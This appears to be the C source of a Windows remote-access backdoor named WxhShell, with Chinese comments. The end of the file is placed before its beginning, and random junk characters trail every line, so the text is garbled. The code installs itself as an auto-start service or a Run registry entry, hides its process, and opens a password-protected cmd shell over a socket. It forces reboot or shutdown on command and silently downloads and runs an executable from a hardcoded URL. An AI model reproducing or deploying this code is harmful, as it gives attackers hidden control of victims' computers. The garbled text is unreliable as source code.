    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _2Xu1q.6~5  
    if(Boot(SHUTDOWN)) sz2SWk^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/$)c_x`  
    else { LXfeXWw?,  
    closesocket(wsh); { `|YX_HS  
    ExitThread(0); [+cnx21{  
    } 'LLQ[JJ=O  
    break; -$MC  
    } "i<3}6/*  
  // 获取shell MHT,rqG  
  case 's': { w5/  X {  
    CmdShell(wsh); `zOAltfd  
    closesocket(wsh); <B{VL8IA>  
    ExitThread(0); Wv*BwiQ  
    break; $^D(%  
  } /B?SaKh  
  // 退出 Jc#)T;# 6  
  case 'x': { *Wo$ $T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t~W4o8<w  
    CloseIt(wsh); % oL&~6l$  
    break; SoGLsO+R  
    } W;}u 2GH  
  // 离开  |ukdn2Q  
  case 'q': { bz@=zLBt  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7'/2:"  
    closesocket(wsh); J ]^gF|  
    WSACleanup(); A%8`zR  
    exit(1); l|tp0[  
    break; 3% 4Mq6Q`  
        } D.Cs nfJ  
  } y<x_v )k-  
  } JO6vzoS3  
<7-,`   
  // 提示信息 = Vr[V@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TKBK3N  
} 2yO)}g FJ  
  } HNUR6H&Fta  
\ui~n:aWJ  
  return; :a!a  
} @DC2ci >  
h|uP=0   
// shell模块句柄 e^Wv*OD'  
int CmdShell(SOCKET sock) .O-DVW Cm  
{ 9X&qdA/q  
STARTUPINFO si; e`2R{H  
ZeroMemory(&si,sizeof(si)); Ty|c@X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F*( A; N_y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pC. 4AkEO  
PROCESS_INFORMATION ProcessInfo; Py0 i%pZ  
char cmdline[]="cmd"; )n[Mh!mn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <m gTWv  
  return 0; WuZ n|j'  
} iZUz6  
\bl,_{z?  
// 自身启动模式 *rKv`nva5  
int StartFromService(void) x<7` 109]  
{ U*U )l$!  
typedef struct ~zC fan/  
{ Gz5@1CF  
  DWORD ExitStatus; RIqxM  
  DWORD PebBaseAddress; G6F['g);  
  DWORD AffinityMask; C^: &3,  
  DWORD BasePriority; [>9"RzEl  
  ULONG UniqueProcessId; !4.^@^L|\  
  ULONG InheritedFromUniqueProcessId; Uk ;.Hrt.  
}   PROCESS_BASIC_INFORMATION; [a*>@IR  
]BD5+>;  
PROCNTQSIP NtQueryInformationProcess; ~{$'sp0  
ZUI9[A?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4xn^`xf9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a} 7KpKCD  
#UeU:RJ1  
  HANDLE             hProcess; A8/4:>Is  
  PROCESS_BASIC_INFORMATION pbi; yf^gU*  
eV+wnE?SB5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g)6 k?Y  
  if(NULL == hInst ) return 0; l hp:.  
|Qm%G\oB?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zV Li  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y6;9j=[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G'C^C[_W  
SLA~F?t  
  if (!NtQueryInformationProcess) return 0; N!&VBx^z  
zvC,([  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OWfj<#}t+  
  if(!hProcess) return 0; `;2`H, G'  
Xn'>k[}<k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 19`0)pzZ*P  
JN-8\ L  
  CloseHandle(hProcess); ^S2} 0N f  
CnA)>4E*'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .u3W]5M|  
if(hProcess==NULL) return 0; iL' ]du<wk  
leJd) {  
HMODULE hMod; RA67w&  
char procName[255]; > o`RPWs  
unsigned long cbNeeded; @CUDD{1o  
<"%h1{V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %4K#<b"W  
d/QM   
  CloseHandle(hProcess); iPYlTV  
wf$ JuHPt  
if(strstr(procName,"services")) return 1; // 以服务启动 (W/UR9x)|d  
e2ZUl` {g  
  return 0; // 注册表启动 L KR,CPz  
} ,R6$SrNcd  
ZWEzL$VWi  
// 主模块 ) hB*Hjh  
int StartWxhshell(LPSTR lpCmdLine) <L#r6y~H  
{ [6N39G$  
  SOCKET wsl; *j:5  
BOOL val=TRUE; YL0RQa  
  int port=0; 8[IifF1M=&  
  struct sockaddr_in door; . Dxrc  
;KN@v5`p  
  if(wscfg.ws_autoins) Install(); 3_/d=ZI\  
E zUjt)wF  
port=atoi(lpCmdLine); ?V&a |:N9  
nEr, jd~f  
if(port<=0) port=wscfg.ws_port; K6hN N$F!  
+q%goG8  
  WSADATA data; PyE<`E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #+nv,?@  
<N&f >7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DL{a8t1L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +=$G6uR$  
  door.sin_family = AF_INET; j'n= Xh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j`l K}  
  door.sin_port = htons(port); _zwuK1e  
M/;g|J jM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Tmmx_Xw  
closesocket(wsl); ?! Gt. fb  
return 1; OPjh"Hv  
} 3W0:0I  
)}5r s  
  if(listen(wsl,2) == INVALID_SOCKET) { b=EZtk6>  
closesocket(wsl); 9Ua@-  
return 1; /% 1lJD  
} mJT m/C  
  Wxhshell(wsl); OSU=O  
  WSACleanup(); Q)&Ztw<  
mj~CCokF{?  
return 0; Y [S^&pF  
FFGTIT# {"  
} sBL^NDqa2  
,_O[; L  
// 以NT服务方式启动 +[+ Jd)Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _Z&R'`kg  
{ ;_*F [ }w  
DWORD   status = 0; K)OlCpHc  
  DWORD   specificError = 0xfffffff; %Kp}Wo6  
(FHh,y~v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k/O&,T77}J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !^\/ 1^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; krU2S-  
  serviceStatus.dwWin32ExitCode     = 0; |{Q,,<C  
  serviceStatus.dwServiceSpecificExitCode = 0; Gx)D~7lz  
  serviceStatus.dwCheckPoint       = 0; P]GGnT(!  
  serviceStatus.dwWaitHint       = 0; ]f?LQCTq<b  
0g\&3EvD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .EQFHStr  
  if (hServiceStatusHandle==0) return; ln7.>.F  
Fjb[Ev  
status = GetLastError(); eKOTxv{  
  if (status!=NO_ERROR) mH"`46  
{ Q<qIlNE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @hPbD?)M  
    serviceStatus.dwCheckPoint       = 0; Ja1*a,],L  
    serviceStatus.dwWaitHint       = 0; mHy]$Z  
    serviceStatus.dwWin32ExitCode     = status; 6D<A@DR9J  
    serviceStatus.dwServiceSpecificExitCode = specificError; !$HWUxM;p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); jL<.?HE  
    return; X(9Ff=0.~  
  } KNhH4K2iP8  
{ar }.U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ptcU_*Gd  
  serviceStatus.dwCheckPoint       = 0; xB#E&}Ho  
  serviceStatus.dwWaitHint       = 0; `OWB@_u5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cjk5><}`H7  
} j? A +qk  
.Pi67Kj,  
// 处理NT服务事件,比如:启动、停止 .wywO|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >xN^#$ng}  
{ [A47OR  
switch(fdwControl) >KJ]\`2>)c  
{ gMbvHlT  
case SERVICE_CONTROL_STOP: Z[VKB3Pb8  
  serviceStatus.dwWin32ExitCode = 0; g@L4G?hLn  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RWE%? `   
  serviceStatus.dwCheckPoint   = 0; K^ lVng  
  serviceStatus.dwWaitHint     = 0; Gex^\gf  
  { %oo&M;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =zKp(_[D  
  } x$E l7=.  
  return; pFuQ!7Uk  
case SERVICE_CONTROL_PAUSE: RfD$@q9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y~6pJNR  
  break; gE&f}M-  
case SERVICE_CONTROL_CONTINUE: E:ytdaiT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7blZAA?-  
  break; ='FEC-f95  
case SERVICE_CONTROL_INTERROGATE: <~3 a aO  
  break; Cnolka"  
}; ZI1RB fR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h;6@-\6  
} BI s!  
Q.Acmht#  
// 标准应用程序主函数  T-\,r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gM8eO-d  
{ c8u0\X,  
>,v~,<3 i  
// 获取操作系统版本 *VU Xw@  
OsIsNt=GetOsVer();  <KpQu%2(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y.Py>GJJ1S  
C{D2mSS  
  // 从命令行安装 ?/\;K1c p  
  if(strpbrk(lpCmdLine,"iI")) Install(); C"}x=cK  
xl3U  
  // 下载执行文件 !l~hO  
if(wscfg.ws_downexe) { ra3WLK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @P-7a`3*  
  WinExec(wscfg.ws_filenam,SW_HIDE); K;95M^C\O*  
} ;u%hwlo  
#%5>}$  
if(!OsIsNt) { sM-*[Q=_  
// 如果时win9x,隐藏进程并且设置为注册表启动 v#6.VUAw  
HideProc(); M3''xrpC  
StartWxhshell(lpCmdLine); |lv4X }H  
} iw{n|&Y#`  
else cA*%K[9  
  if(StartFromService()) {MS&t09Wh  
  // 以服务方式启动 E*%{Nn  
  StartServiceCtrlDispatcher(DispatchTable); k}/: xN"  
else !\m.&lk'^  
  // 普通方式启动 d09GD[5  
  StartWxhshell(lpCmdLine); xqr`T0!&  
UaBR;v-.B3  
return 0; kBT uM"  
} b7n~z1$  
`XnFc*L 1  
Bw$-*FYE  
ns3k{l#  
=========================================== oTL "]3`'  
,uw &)A  
ka hv1s-  
yDKX,  
L=$P  
fkYQ3d,`  
" L \$zr,=C  
|!|`Je3 K  
#include <stdio.h> 0K!9MDT}*  
#include <string.h> yP-Dj ,  
#include <windows.h> |LQmdgVr$  
#include <winsock2.h> 9. R _=  
#include <winsvc.h> `>*P(yIN  
#include <urlmon.h> M_e! s}F  
pxN'E;P-  
#pragma comment (lib, "Ws2_32.lib") P$Dr6;  
#pragma comment (lib, "urlmon.lib") qHj4`&  
U t%ie=c  
#define MAX_USER   100 // 最大客户端连接数 {r"s.|n  
#define BUF_SOCK   200 // sock buffer f9$98SI  
#define KEY_BUFF   255 // 输入 buffer VS` S@+p  
dU\fC{1Z  
#define REBOOT     0   // 重启 T|m+ULp~  
#define SHUTDOWN   1   // 关机 ~$@I <=L  
e'ZgF~  
#define DEF_PORT   5000 // 监听端口 @ f$P*_G   
B4b UcYk  
#define REG_LEN     16   // 注册表键长度 czp5MU_^  
#define SVC_LEN     80   // NT服务名长度 ,"/_G  
=}L[/RL  
// 从dll定义API ~2qFA2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <I>q1m?KN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C$5v:Fk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;HC"hEc!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 83dOSS2  
P k,^q8;  
// wxhshell配置信息 FUH1Z+9  
struct WSCFG { ^b%AwzHH}  
  int ws_port;         // 监听端口 1/gh\9h  
  char ws_passstr[REG_LEN]; // 口令 UeRenp  
  int ws_autoins;       // 安装标记, 1=yes 0=no s"'1|^od  
  char ws_regname[REG_LEN]; // 注册表键名 7yc:=^ )  
  char ws_svcname[REG_LEN]; // 服务名 ?]})Xf.A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [AU1JO`\"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M:x8]TA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jJf|Ok:G{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i{,>2KVC|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xW09k6   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2|T@  
mMMu'N  
}; 464Z0C  
n_!&Wr^CX  
// default Wxhshell configuration UKzmRa,s  
struct WSCFG wscfg={DEF_PORT, ]/a?:24[  
    "xuhuanlingzhe", d<whb2l  
    1, 0t9G $23  
    "Wxhshell", `w q\K8v  
    "Wxhshell", mF_/Rhu  
            "WxhShell Service", _WkK%RYV  
    "Wrsky Windows CmdShell Service", [Nq4<NK  
    "Please Input Your Password: ", H95VU"  
  1, hIdGQKr>V  
  "http://www.wrsky.com/wxhshell.exe", ,Pl[SMt!  
  "Wxhshell.exe" 7(oxmv}#Q  
    }; Q:-/@$&i  
E/am^ TO`  
// 消息定义模块 <l\FHJhjq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P }PSS#nn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; I5e!vCG)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U9@q"v-  
char *msg_ws_ext="\n\rExit."; wU=(_S,c  
char *msg_ws_end="\n\rQuit."; J3$ihH.  
char *msg_ws_boot="\n\rReboot..."; OLiYjYd  
char *msg_ws_poff="\n\rShutdown..."; SsaF><{5R  
char *msg_ws_down="\n\rSave to "; ]M2>%Dvw  
TKmC/c  
char *msg_ws_err="\n\rErr!"; UqAvFCy  
char *msg_ws_ok="\n\rOK!"; w0.#/6  
0D\FFfs  
char ExeFile[MAX_PATH]; f[z#=zv  
int nUser = 0; 3U}z?gP[  
HANDLE handles[MAX_USER]; CfVz'  
int OsIsNt; T"2ye9a  
l@^RbF['  
SERVICE_STATUS       serviceStatus; OtC/)sX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uW[ <?sFG  
yn7n  
// 函数声明 8>w/Es5  
int Install(void); t%/5$<!b  
int Uninstall(void); :]]amziP&  
int DownloadFile(char *sURL, SOCKET wsh); $k!t&G  
int Boot(int flag); Zw }7vD0  
void HideProc(void); ld3,)ZY  
int GetOsVer(void); oc15!M3$  
int Wxhshell(SOCKET wsl); _{A($/~c?  
void TalkWithClient(void *cs); Fa;CWyt  
int CmdShell(SOCKET sock); \h"s[G zq  
int StartFromService(void); 10a=[\ Q  
int StartWxhshell(LPSTR lpCmdLine); F6fm{  
M+ H$Jjcs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $1w8GI\J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $[z*MQ  
63at lq  
// 数据结构和表定义 8]0R[kjD  
SERVICE_TABLE_ENTRY DispatchTable[] = ,C CIg9Pt  
{ M#:Mwa$  
{wscfg.ws_svcname, NTServiceMain}, 3fGy  
{NULL, NULL} 7%0PsF _  
}; N!P* B $d  
Hiq9Jn uv(  
// 自我安装 K%Rx5 S  
int Install(void) ' rXkTm1{  
{ 0z,c6MjM+  
  char svExeFile[MAX_PATH]; $bN%x/  
  HKEY key; )2R:P`U  
  strcpy(svExeFile,ExeFile); Kyv$yf 9  
$H5Xa[  
// 如果是win9x系统,修改注册表设为自启动 HC$_p,9OV  
if(!OsIsNt) { /+3|tb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `T}e3l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lrz>00(*4  
  RegCloseKey(key); DTJ~.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d`2VbZC`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %T 88K}?=  
  RegCloseKey(key); C=.  
  return 0; bd%/dr  
    } z/;NoQ-  
  } oW-luC+  
} "--rz;+K  
else { Ar>-xCT D  
6 Iup4sP  
// 如果是NT以上系统,安装为系统服务 d,$[633It}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Vls*fY:W  
if (schSCManager!=0) Um*{~=;u  
{ M34*$>bk  
  SC_HANDLE schService = CreateService Z EG  
  ( g6nBu  
  schSCManager, mvYr"6f8  
  wscfg.ws_svcname, }J:~}?^%n  
  wscfg.ws_svcdisp, .lqo>Ta y  
  SERVICE_ALL_ACCESS, rJR"[TTJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }mX;0qO  
  SERVICE_AUTO_START, q7X /"Dfx  
  SERVICE_ERROR_NORMAL, V-t!  
  svExeFile, lPx4I  
  NULL, R_(A&,  
  NULL, "&7v.-Y k(  
  NULL, U|iSJ%K  
  NULL, "bRck88V  
  NULL U+nwLxe'  
  ); _ 57m] ;&  
  if (schService!=0) (3 B; V  
  { ]W]Vkkg]  
  CloseServiceHandle(schService); sgFpZk  
  CloseServiceHandle(schSCManager); E@t^IGD r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +\Rp N  
  strcat(svExeFile,wscfg.ws_svcname); 27gK Y Zf;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M]eH JZ~v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *p+%&z_<  
  RegCloseKey(key); skr^m%W  
  return 0; 6 70g|&v.  
    } Pgb<;c:4  
  } 1P&c:n  
  CloseServiceHandle(schSCManager); O'o`  
} QIG MP=!j  
} ]yA| m3^2  
(l9U7^S"{K  
return 1; ]"aC wr  
} L1M]ya!l  
lshO'I+)*  
// 自我卸载 BpRQG]L  
int Uninstall(void) 389T6sP]  
{ &yWl8O  
  HKEY key; X+Xjf(  
pX|\J>u)  
if(!OsIsNt) { 6i,d|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0l{').!_  
  RegDeleteValue(key,wscfg.ws_regname); 7w YSP&$  
  RegCloseKey(key); q4Qm: |-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J*qepq`_  
  RegDeleteValue(key,wscfg.ws_regname); HIeWgw^"  
  RegCloseKey(key); +#n5w8T)M  
  return 0; c.,eIiL  
  } sl>4O]N  
} mI"`.  
} pn>zuH e  
else { pT:CvJ  
&A]*"lt|w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J3g>#N]='(  
if (schSCManager!=0) U*1rA/"n  
{ r B)m{)  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I3p ~pt2  
  if (schService!=0) 6D@tCmmq  
  { 'd(OFE-hn  
  if(DeleteService(schService)!=0) { KhYGiVA  
  CloseServiceHandle(schService); cBiv=!n  
  CloseServiceHandle(schSCManager); !uy?]l  
  return 0; M"ZP s   
  } AZxOq !B  
  CloseServiceHandle(schService); {PWz:\oaD  
  } *~4w%U4T0  
  CloseServiceHandle(schSCManager); 'BcxKqC  
} '9]%#^[Q  
} wlmi&kq  
4f'WF5S/}8  
return 1;  \^w=T*  
} +7^{T:^ht  
Y?R;Y:u3Z  
// 从指定url下载文件 Ilsh Jo  
int DownloadFile(char *sURL, SOCKET wsh) @| qnD  
{ _)ZAf% f?  
  HRESULT hr; m>jX4D7KZ  
char seps[]= "/"; }Sqey:9jH  
char *token; ^7vh ize  
char *file; rmk'{"  
char myURL[MAX_PATH]; R1\cAP^ 0  
char myFILE[MAX_PATH]; Y:ZI9JK?  
X_ !Sm  
strcpy(myURL,sURL); 0&$e:O'v  
  token=strtok(myURL,seps); &7XB $  
  while(token!=NULL) yI h>j.P  
  { MuO7_*q'n  
    file=token; `LVXK|m+$  
  token=strtok(NULL,seps); ZZ)bTLu  
  } #$e~ o}(r  
"u3  
GetCurrentDirectory(MAX_PATH,myFILE); >/ECLP  
strcat(myFILE, "\\"); 'h([Y8p{  
strcat(myFILE, file); f @Hp,-  
  send(wsh,myFILE,strlen(myFILE),0); ?,;|*A  
send(wsh,"...",3,0); +g@@|&B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !D7 [R'RgY  
  if(hr==S_OK) T<mk98CdE  
return 0; K &Ht37T  
else 9L*gxI>  
return 1; ,iB)8Km@U  
[="moh2*f  
} GL.& g{$#+  
fI t:eKHr  
// 系统电源模块 s"=e (ob  
int Boot(int flag) \b1I<4(  
{ hJrxb<9@Y0  
  HANDLE hToken; P5%DvZB$w  
  TOKEN_PRIVILEGES tkp; AuX&  
tQF7{F-}  
  if(OsIsNt) { k$7-F3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W#8qhmt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7E%ehM6Y  
    tkp.PrivilegeCount = 1; ~2S`y=*:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rPZ<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "/O0j/lm  
if(flag==REBOOT) { <u&uwD~A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =5+M]y E<  
  return 0; F C2oP,  
} BB1'B-O  
else { K/, B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J3}^\k=p"  
  return 0; +pnT6kU|  
} nv2Y6e}dG  
  } mO?G[?*\  
  else { wGBQ.Ve[  
if(flag==REBOOT) { '.#KkvE##  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  ?MPM@9  
  return 0; }^pnwo9vV  
} _( 0!bUs>  
else { |U8;25Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) w-HgC  
  return 0; ~lzV=c$t  
} >hRYsWbmg  
} FwBktuS  
}V ;PaX  
return 1; +`yDWN?7  
} "k"q)5c  
_g0 qpa  
// win9x进程隐藏模块 'lHtz ~[  
void HideProc(void) svU107?  
{ aEy_H-6f  
%&V<kH"7Q{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C.C\(2- Rr  
  if ( hKernel != NULL ) o{ f n}  
  { X:j&+d2g0/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?P4`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jQ4Pv`  
    FreeLibrary(hKernel); &+J5GHt@  
  } F<Z"W}I+6  
o//N"S.)  
return; kVe^g]F  
} s><RL]+{G+  
+7sdQCO(Co  
// 获取操作系统版本 b! PN6<SI  
int GetOsVer(void) WLDt5R  
{ h}g _;k5R  
  OSVERSIONINFO winfo; D4c}z#}*0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sq@Eu>Ng(X  
  GetVersionEx(&winfo); 5\S)8j `8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4TG g`$e;  
  return 1; 8T&m{s  
  else )fA9,yNJ3  
  return 0; -+'{C =  
} pE^LQi  
oHxaa>C>  
// 客户端句柄模块 1mFc]1W  
int Wxhshell(SOCKET wsl) $gJMF(  
{ Y xGIv8O]  
  SOCKET wsh; ~N>[7I"*  
  struct sockaddr_in client; 3-h u'xSU  
  DWORD myID; G"O %u|7  
$QNfy.6Tn  
  while(nUser<MAX_USER) .^,fw=T|1  
{ f|m.v +7k  
  int nSize=sizeof(client); Jn' q'+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FnvN 4h{S  
  if(wsh==INVALID_SOCKET) return 1; \%mR*J+  
RgRyo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e@L+z  
if(handles[nUser]==0) n`vqCO7@'  
  closesocket(wsh); f2uog$H k  
else v9x $`  
  nUser++; n"@3d.21  
  } [B+ o4+K3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); G\*`EM4  
nD MNaMYb  
  return 0; JBeC\ \QX  
} f$*M;|c1c/  
f*NtnD=rJ  
// 关闭 socket b ?B"u^b!  
void CloseIt(SOCKET wsh) vTh-I&}:  
{ d,8V-Dk+p  
closesocket(wsh); p%xo@v(  
nUser--; {|%5}\%  
ExitThread(0); [|ky~sRr  
} '=\]4?S  
#U"\v7C{n  
// 客户端请求句柄 Hu1w/PLq  
void TalkWithClient(void *cs) A;SRm<,  
{ jMW|B  
J4!Z,-  
  SOCKET wsh=(SOCKET)cs; &EE6<-B-  
  char pwd[SVC_LEN]; 8ENAif   
  char cmd[KEY_BUFF]; X xB*lX  
char chr[1]; xDRK^nmC  
int i,j; j 9y,UT  
E+ JGqk  
  while (nUser < MAX_USER) { Y0&w;P  
X H{5E4P  
if(wscfg.ws_passstr) { ,y:q]PR  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }b)?o@9}:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Pkc4=i,`A  
  //ZeroMemory(pwd,KEY_BUFF); |os2@G$  
      i=0; EpOVrk  
  while(i<SVC_LEN) { 6;*tw i  
@#*B|lHE  
  // 设置超时 B&-;w_K  
  fd_set FdRead; D 67H56[  
  struct timeval TimeOut; ?#,\,  
  FD_ZERO(&FdRead); \<i#Jn+)  
  FD_SET(wsh,&FdRead); 14s+ &  
  TimeOut.tv_sec=8; 0EPF; Xx  
  TimeOut.tv_usec=0; \n`UkxZn+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); gRSM~<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [MFV:Z  
q^"P_pV\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -S)HB$8  
  pwd=chr[0]; SDA +XnmH  
  if(chr[0]==0xd || chr[0]==0xa) { hYb!RRGn  
  pwd=0; /bt@HFL|`  
  break; %QwMB`x  
  } } ..}]J;To  
  i++; D dt9`j  
    } 2>ce(4Gky  
5C#&vYnq  
  // 如果是非法用户,关闭 socket ]2h~Db=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H# 2'\0u  
} 6CY_8/:zL  
"N7C7`izc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m[ifcDZ(e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;,Lq*x2s  
s8 .oS);`  
while(1) { YHvmo@  
!6f#OAP\  
  ZeroMemory(cmd,KEY_BUFF); sAnStS=>  
J[VQ6fD%  
      // 自动支持客户端 telnet标准   #<yR:3  
  j=0; m feyR  
  while(j<KEY_BUFF) { i+21tG$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *AZC{jP  
  cmd[j]=chr[0]; Qnr' KbK  
  if(chr[0]==0xa || chr[0]==0xd) { 8Vl!&j0s^  
  cmd[j]=0; j><.tA~i  
  break; li/IKS)e$  
  } _wZ(%(^I  
  j++; /x0zZ+}V  
    } M~ynJ@q  
z4UeUVfZ}  
  // 下载文件 Pg*ZQE[ME8  
  if(strstr(cmd,"http://")) { AD*+?%hj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~|l>bf  
  if(DownloadFile(cmd,wsh)) lYQcQ*-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); > { fX;l  
  else mR8&9]g&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # ?}WQP!  
  } 0fi+tc 30  
  else { uh:  
|{t}ULc  
    switch(cmd[0]) { %ze Sx  
